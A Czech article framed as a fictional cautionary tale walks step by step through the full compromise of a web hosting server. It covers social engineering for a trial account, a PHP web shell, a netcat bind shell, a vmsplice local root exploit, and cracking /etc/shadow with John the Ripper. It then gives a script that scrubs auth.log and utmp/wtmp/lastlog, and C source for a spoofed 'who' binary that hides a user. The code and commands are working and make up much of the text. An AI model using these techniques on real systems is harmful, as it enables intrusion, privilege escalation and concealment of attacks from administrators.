Fiktivní scénář jak to také může dopadnout, když administrátor serveru bere bezpečnost na lehkou váhu.

Disclaimer

Tento článek není návod jak páchat nelegální činnost. Jeho cílem je pouze poukázat, že bezpečnost je relativní pojem a občas stačí málo k tomu, aby možná způsobená škoda byla vysoká. Jeden příklad za všechny. Slovenský NBÚ a kauza kolem něj. Administrátor serveru nesmí nikdy usnout na vavřínech nebo by to mohlo dopadnou například tak, jak popisuje tento článek. Veškerá jména, názvy a IP adresy jsou smyšlené

Prolog

V tom článku se pokusím popsat situaci, která není ve světě internetové pavučiny zas až tak výjimečná. Je jím tzv. „rootnutí“ serveru. Toto divné czenglish slovo neznamená nic jiného než úplné ovládnutí serveru útočníkem, tedy to, že útočník získá práva uživatele root. Existuje snad nekonečně mnoho možností, jak se toto může útočníkovi podařit. Já popíši jeden fiktivní postup útoku fiktivního útočníka na fiktivní server. Popsána bude příprava před útokem, vlastní útok a poté snaha útočníka být na serveru co nejvíce neviditelný. Zavedeme si určité zjednodušení. Jelikož stále vypisovat „fiktivní útočník“ by bylo zdlouhavé, dáme mu jméno Alex. Alias pro „fiktivní server“ zavedu za chvíli.

Alex

Motivaci Alexe nechám na představivosti každého z vás. Jeho cíl je jasný. Našel si server, který chce ovládnout. Tímto serverem je hlavní server nějaké hostingové společnosti. Nazvěme si ji XYZhosting sídlící na doméně xyzhosting.cz. XYZhosting je menší hostingová společnost s asi dvěma tisícovkami zákazníků nabízející „kvalitní a bezpečný webhosting“. Alex však ví o bezpečnosti své. Nic mu nebrání započít jeho cestu za rootovskými právy.

Gettin' started

Alexovi by se hodilo vědět nastavení PHP, tedy v nejlepším případě výpis PHP funkce phpinfo() na serveru. Tuto informaci však hosting na svých stránkách nemá zvěřejněnou a tak ji Alex bude muset zjistit až později až bude mít na serveru svůj vlastní účet. Nyní si ještě ověří, na jakém OS běží server společnosti. Zda na GNU/Linuxu nebo zda na jiném unixu či nějakém MS OS. K tomu mu pomůže výborná utilita nmap:

$ sudo nmap -O xyzhosting.cz

Starting Nmap 4.76 ( http://nmap.org )
Interesting ports on xyzhosting.cz:
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   open     smtp
80/tcp   open     http
Device type: general purpose
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (97%)

Jak nmap sám píše: just guessing, tedy není stoprocentně jisté, že na serveru opravdu GNU/Linux běží, avšak je to velmi pravděpodobné. Operační systém může Alex později zjistit taktéž z phpinfo() a tak se ujistit. Dalším Alexovým cílem bude založení hostingového účtu na serveru společnosti. XYZhosting však nenabízí žádný free tarif. To však ještě neznamená, že Alex bude muset za tarif zaplatit. Založí si průměrně znějící emailovou adresu a z ní odešle mail:

To: [email protected]
From: [email protected]
Subject: Přesun prezentace na váš hosting

Dobrý den,

rád bych přesunul svoji webovou prezentaci na váš hosting. Z důvodu omezení
redakčního systému prezentace na určitou konfiguraci PHP jsem vás chtěl
poprosit, zda by nebylo možné dostat hosting na vyzkoušení na určitou
omezenou dobu - stačí týden - abych měl jistotu, že prezentace bude bude
fungovat v pořádku.

S pozdravem

Ing. Pavel Králíczek

Alex samozřejmě žádnou takovou prezentaci nemá a ani žádný pan inženýr Králíczek neexistuje (i když to není vyloučeno). Nyní musí Alex doufat, že mu bude vyhověno. Pokud však společnost stojí o nové zákazníky, je velká pravděpodobnost, že na tuto žádost přistoupí. Druhý den asi o půl páté se Alex vrátí z práce a zkontroluje svoji novou schránku:

To: [email protected]
From: [email protected]
Subject: Re: Přesun prezentace na váš hosting

Dobrý den,

Byl vám založen účet na doméně třetího řádu:
server: xyzhosting.cz
user:   temp21
pass:   XdRk4T8Tj
Doufám, že budete s našimi službami spokojeni.

Zdraví

Marek Důvěřivý, Obchodní manager

XYZhosting nám vyšel vstříc a z přihlašovacího jména je patrné, že Alex není není první komu hosting takto vyhověl.

Gettin' inside

Alex se z důvodu větší anonymity přihlásí na svůj nový ftp účet přes proxy server. Konečně má možnost nahrát skript, který zodpoví množství jeho otázek.

<?php
phpinfo();
?>

Takže zajímavé informace:

System            |  Linux php5 2.6.18
...
disable_functions |  no value

Alex si tedy ověřil, že server opravdu běží na GNU/Linuxu a to s jádrem verze 2.6.18. Další zajímavou informací je kolonka s názvem disable_functions. Její hodnota „no value“ říká, že na serveru nejsou žádné PHP funkce explicitně zakázány. Na Alexově tváři můžeme pozorovat lehký úsměv. Zatím vše postupuje hladce. S nově nabytými znalostmi Alex uploaduje na server následující skript sh.php:

<?php
echo shell_exec('ls -la');
?>

Alex s očekáváním vyťuká do prohlížeče adresu skriptu: http://temp21.xyzhosting.cz/sh.php, který otestuje příkazem ls -la:

.
..
.htaccess
index.php
sh.php

Na Alexově tváři se objevil ještě větší úsměv. Znamená to, že na serveru může vykonávat libovolné příkazy. Samozřejmě ale ne jako root. Uživatele, pod kterým příkazy vykonáváme zjistíme jednoduše příkazem whoami. Ten nám prozradí, že máme uživatele wwww-data. To Alex předpokládal.

Gettin' deeper

Jelikož je Alex líný si pro každý vykonaný příkaz na serveru psát nový skript, napsal si univerzální rozhraní pro spouštění příkazů:

<form method="post" action="<?echo $_SERVER["PHP_SELF"]?>">
<input name="cmd" value="<?echo $_REQUEST["cmd"];?>" size="50"><br />
stderr: <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>>
<input type="Submit" name="exec" value="Exec">
</form>

<?
$command = $_REQUEST["cmd"];

if ($_POST["stderr"])
{
  $tmpfile = tempnam('/tmp', 'phpshell');
  $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
}

$output = `$command`;
echo "<pre>";
echo htmlspecialchars($output);
echo "</pre>";
?>

Nyní může Alex pohodlně pomocí příkazů cd, ls a cat procházet obsahy cizích webových prezentací a jejich zdrojových souborů. O to ale Alexovi primárně nejde. Jde mu o práva roota. Po tom, co se dostatečně po serveru porozhlédne, začne přemýšlet co dál. Na serveru může spouštět příkazy jako uživatel s omezenými právy. On ale chce roota. Řešením tohoto problému by mohl být nějaký pěkný Linux local root exploit. Chvíle googlení a Alex se dostane k tomuto veřejně dostupnému exploitu http://www.milw0rm.com/exploits/5092. Verze jádra serveru spadá mezi verze náchylné na tento exploit (2.6.17 – 2.6.24.1). Alex proto může jen doufat, že admini kernel již proti tomuto problému nezapatchovali.

Alex se nejdříve pokusí zkompilovat exploit přímo na serveru. Zdrojový kód tedy nahraje přes FTP protokol na svůj účet a přes shell_exec skript zadá: gcc surprise.c. Odpověd ho ani nepřekvapí:

/usr/bin/ld: cannot open output file a.out: Permission denied
collect2: ld returned 1 exit status

Uživatel www-data, pod kterým skript vykonává příkazy, totiž nemá dostatečná oprávnění na linker ld. To Alexovi ale nevadí. Sám používá na svém stroji 32b GNU/Linux a tak mu nic nebrání v tom, aby exploit zkompiloval u sebe a na server nahrál až výslednou binárku. Tu poté spustí pomocí shell_exec skriptu příkazem ./surprise. Odpověd serveru ho však zklame:

bash: no job control in this shell
xyzhosting:/var/www/users/temp21/http/# exit

Root is waiting

Alex si uvědomí, že musí nějakým způsobem spustit jiný shell a až v něm pak aktivovat exploit. Vytvoří si tedy bindshell pomocí své oblíbené utility netcat. Ta se na serveru již nachází, což ušetřilo Alexovi trochu práce. Přes shell_exec skript pomocí příkazu nc -vv -l -p 33333 -e /bin/bash otevře Alex na serveru port 33333, na kterém ho po připojení bude čekat nový shell. Zda se port opravdu otevřel si Alex ještě pro jistotu otestuje nmapem:

$ sudo nmap -p 33333 xyzhosting.cz

Starting Nmap 4.76 ( http://nmap.org )
Interesting ports on xyzhosting
PORT      STATE SERVICE
33333/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

Nyní se Alex může bez problému ze svého lokálního stroje připojit na server na port 33333 znovu pomocí netcatu:

$nc -vv xyzhosting.cz 33333
xyzhosting.cz 33333 open
uname -a
Linux xyzhosting 2.6.18 SMP i686 GNU/Linux

Bingo! Alex má funkční bindshell. Nyní mu už jen zbývá spustit local root exploit. Při troše smůly může Alex spuštěním exploitu shodit celý server. To se však naštěstí nestalo.

$nc -vv xyzhosting.cz 33333
whoami
www-data
./surprise
bash: no job control in this shell
xyzhosting:/var/www/users/temp21/http/# whoami
root

Alex si jde do ledničky pro vychlazený sekt jako vítěz. Svůj cíl splnil. Přes binshell a local root exploit může na serveru vzdáleně pracovat jako root.

Admin advice: choose strong password

Alex by si však přál ještě něco více. Práce s bindshellem je přeci jenom méně pohodlná a kopírování souborů ze serveru obtížné. Alex by chtěl mít na server přístup přes ssh. Jak na to? Možným způsobem by bylo sehnat si seznam všech uživatelů serveru a zkusit dictionary attack na jejich hesla. Pokud si nějaký z nich či dokonce sám root zvolil slabé heslo, je poměrně velká šance, že ho Alex odhalí.

Nejdříve se tedy Alex zaměří na dva klíčové a každému, kdo se alespoň trochu orientuje v GNU/Linux doufám známé soubory: /etc/passwd a /etc/shadow. Z nich Alex zjistí jména všech uživatelů (passwd i shadow) a jejich zašifrovaná hesla (shadow). Alex si vytvoří lokální kopii souboru shadow a pokusí se o slovníkový útok. Má celkem dobrý asi 200MB velký slovník, kterému věří. K útoku použije osvědčenou rychlou aplikaci John The Ripper:

$john --wordlist=wrdlist shadow
Loaded 3 password hashes with 3 different salts (FreeBSD MD5 [32/32])
mourek          (pepa)
guesses: 2 time: 0:00:28:44 100% c/s: 6251

Po necelé půlhodině má Alex další důvod k radosti. Uživatel pepa si zvolil velmi slabé heslo, pravděpodobně jméno svého domácího mazlíčka. Tím se Alexovi otevřela cesta na server přes pohodlnou službu ssh.

 

Becoming invisible

ssh [email protected]
[email protected]'s password:
Linux xyzhosting 2.6.18 SMP i686 GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pepa@xyzhosting:~$ whoami
pepa
pepa@xyzhosting:~$./var/www/users/temp21/http/surprise
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e02000 .. 0xb7e34000
[+] root
root@xyzhosting:~$whoami
root

Alex tak má práva uživatele root i pohodlný přístup přes ssh. Přístup přes ssh však s sebou kromě výhod přináší také jistá úskalí. Tím hlavním a nejdůležitějším je logování. Logy jsou nyní Alexovým nepřítelem, jelikož nekompromisně zaznamenávají jeho činnost v systému. Co všechno se loguje samozřejmě závisí na nastavení. Avšak například úspěšné i neúspěšné ssh přihlášení se loguje téměř vždy. Alex nemůže spoléhat na to, že se admin do logů nepodívá. Musí je tedy po sobě po každém připojení pěkně vyčistit.

Nejdříve se zaměří na logy. Grepem vyhledá veškerý výskyt jeho IP adresy ve všech souborem v adresáři /var/log:

root@xyzhosting:~$grep "212.212.212.212" /var/log/*
/var/log/auth.log:Feb  6 15:31:43 xyzhosting sshd[31212]: Accepted password for pepa from 212.212.212.212 port 34212 ssh2

Vidíme, že přístup přes ssh byl zalogovám do souboru auth.log. Alexovi tedy stačí pouze skriptem z tohoto souboru vymazat veškeré výskyty jeho IP. Alex také ví, že exitují různé IDS a bylo by nanejvýš vhodné se ujisit, že žádný není v systému nainstalován. Alex žádný IDS nenašel, což však ještě nemusí neznamenat, že tam není.

Nepřítelem číslo dva jsou utility last a lastlog, které ochotně komukoliv vypíší, kdy a odkud se který uživatel zalogoval. Toto je nepříjemné už jen z toho důvodu, že si do databáze ukládají IP adresu, odkud se uživatel připojí. To se Alexovi samozřejmě nelíbí. Přes strace si zjistí, že utilita lastlog bere údaje ze souboru /var/log/lastlog. Tento soubor je však binární, proto nelze jednoduše editovat například editorem vim. Řešením by bylo tento soubor zcela smazat, to by však bylo velice nešetrné a také je šance, že by si admin ve výpisu lastlogu všiml, že je něco špatně. Optimální by bylo tento soubor editovat a vymazat pouze údaje týkající se našeho uživatele pepa.

Na chvíli nyní opustíme utilitu lastlog a popíšeme si utilitu last. Ta má podobnou funkčnost. Chronologicky vypíše všechna přihlášení do systému taktéž s IP adresami. Last čerpá údaje ze souborů /var/log/wtmp a /var/log/utmp. Tyto soubory jsou také binární a navíc mají ještě jinou vnitřní strukturu než soubor /var/log/lastlog.

Nejvýhodnější tedy bude, když si Alex napíše aplikaci, která ze souborů lastlog, wtmp a utmp vymaže pouze záznamy týkající se konktrétního uživatele. Jelikož však Alex nerad dělá nějakou práci zbytečně, vygooglí si, zda už někdo něco podobného nenaprogramoval. Google samozřejmě najde množství výsledků a Alex si vybere tuto aplikaci logcleaner, která přesně splňuje jeho požadavky (ano, malá reklama:)).

Alex má rád jednoduché věci, proto si napíše skript, kterému pouze předá jméno uživatele, po němž mají být zahlazeny stopy a skript promaže logy a spustí aplikaci logcleaner, která promaže soubory /var/log/lastlog, /var/log/wtmp a /var/log/utmp.

#!/bin/bash

# check arg count
if [ $# -ne 1 ]; then
  echo "usage: $0 user";
  exit
fi

# delete all traces of user from auth.log
cat /var/log/auth.log | grep -v "$1" > /var/log/auth.logg
mv /var/log/auth.logg /var/log/auth.log
chgrp adm /var/log/auth.log
chmod 640 /var/log/auth.log
echo "auth.log cleaned"

# delete traces from utmp, wtmp and lastlog
./logcleaner -u $1

Poslední utility, kterými se Alex bude zabývat jsou utility w, who a finger. Všechny tyto utility po spuštění vypíší seznam uživatelů, kteří aktuálně v systému pracují. Alex neví, zda se administrátor serveru zná s uživatelem vlastnícím účet pepa. Je to však velmi pravděpodobné. Je dost možné, že tento účet používá sám admin, pokud zrovna nepotřebuje nejvyšší privilegia. Adminovi by potom po zadání například příkazu who bylo divné, že je pepa zrovna přihlášený a mohl by se začít pídit proč tomu tak je. To si samozřejmě Alex nepřeje. Zamyslí se tedy, jak dál postupovat.

Řešením by bylo modifikovat zdrojové soubory těchto aplikací tak, aby prostě daného uživatele nevypisovaly, poté zdrojáky přeložit a nahradit binárky na serveru. Toto je zbytečně komplikované. Jednodušší by bylo udělat skript, který by byl „nadstavbou“ těmto utilitám. Vypsal by to, co pravá utilita, jen by zachytil údaje o daném uživateli a ty by nevypsal. Taková jednoduchá „nadstavba“ pro aplikaci who by vypadala následovně:

#!/bin/bash

who $@ | grep -v "pepa"

Skripty mají však tu nevýhodu, že jsou lehce čitelné jakýmkoliv editorem. Pokud by se tedy k takovému skriptu dostal admin, hned by věděl, že tu někdo hraje špinavou hru. Alex se tedy rozhodne předchozí dvě možnosti zkombinovat. Napíše program v jazyce C, který bude dělat to co předchozí skript. Výsledkem bude binární soubor, který již nebude tak lehce čitelný (přesto kdyby někdo chtěl, mohl by použít strace či disassembling). Pro utilitu who (pro ostaní utility bude program ekvivalentní) by takový prográmek vypadal nějak takto (samozřejmě cesta k pravým utilitám musí byt nastavena korektně):

/*
 *  Spoofed who utility by Stoyan, 2009
 *
 *  hide specified user if who utility is used
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ERROR "program corrupted\n"

int main(int argc, char **argv)
{
  int pid;
  int pd[2];

  // creates a pipe
  // pd[0] ... reading from pipe
  // pd[1] ... writing to pie
  pipe(pd);

  // 0 ... stdin
  // 1 ... stdout
  // 2 ... stderr

  switch (pid=fork())
  {
    // child has died
    case -1:  fprintf(stderr, ERROR);
              break;
    // child - writes to the pipe
    case  0:  close(1);
              dup(pd[1]);
              close(pd[0]);
              close(pd[1]); // generates EOF for reader
              if (execv("/usr/bin/who", argv) == -1)
              {
                  fprintf(stderr, ERROR);
                  exit(EXIT_FAILURE);
              }
              break;
    // parent - reads from the pipe
    default:  close(0);
              dup(pd[0]);
              close(pd[0]);
              close(pd[1]);
              if (execl("/bin/grep", "grep", "-v", "pepa", NULL) == -1)
              {
                  fprintf(stderr, ERROR);
                  exit(EXIT_FAILURE); 
              }
              break;
  }

  // done
  return EXIT_SUCCESS;
}

Nyní Alex potřebuje zajistit to, že komukoliv, kdo spustí příkaz who, w nebo finger se spustí jeho prográmek a ne pravá utilita. Všechny tyto utility jsou umístěny v adresáři /usr/bin. Pokud si Alex vypíše proměnnou PATH, uvidí toto:

root@xyzhosting:~$echo $PATH
/bin:/usr/local/bin:/usr/bin:/usr/games

Co se přesně děje, když uživatel zadá například příkaz who? Systém se podívá do prvního adresáře, který udává proměnná PATH, pokud zde program nenajde, pokračuje druhým, třetím atd. Pravé utility jsou až ve třetím adresáři. Pokud Alex své „padělky“ umístí do adresáře /bin nebo /usr/local/bin, dosáhne tak svého cíle. Malá ukázka:

pepa@xyzhosting:~$who
pepa@xyzhosting:~$

Nezobrazil se nikdo, přestože je uživatel pepa přihlášený. Stejné to je i s utilitami w a finger. Nyní již po sobě Alex nezanechává stopy po přihlášení v logu, ve výpisu utilit last ani lastlog a je nedetekovatelný standardními utilitami w, finger a who. Takto by Alex mohl ještě pokračovat a určitě to i udělá, ale pro hrubou představu to stačí.

Alex nezná přímo rootovo heslo, proto mu hrozí, že až admin updatuje kernel, jeho exploit přestane fungovat. A tak si může vyhodit rootův shell na nějaký vysoký port a připojovat se tam. Pak je ale zase šance, že admin shell s nastaveným setuid bitem odhalí a vše mu dojde. Další možností je upravit sshd daemona tak, aby po přihlášení uživatele někam uložil jeho heslo a Alex by si ho tak mohl přečíst. Jak jsem psal v úvodu, možností je nepočítaně, stačí se jen zamyslet… Jak říká jedna moudrá pravda:

Bezpečnost není produkt ale proces.

Související příspěvky

Peter Wang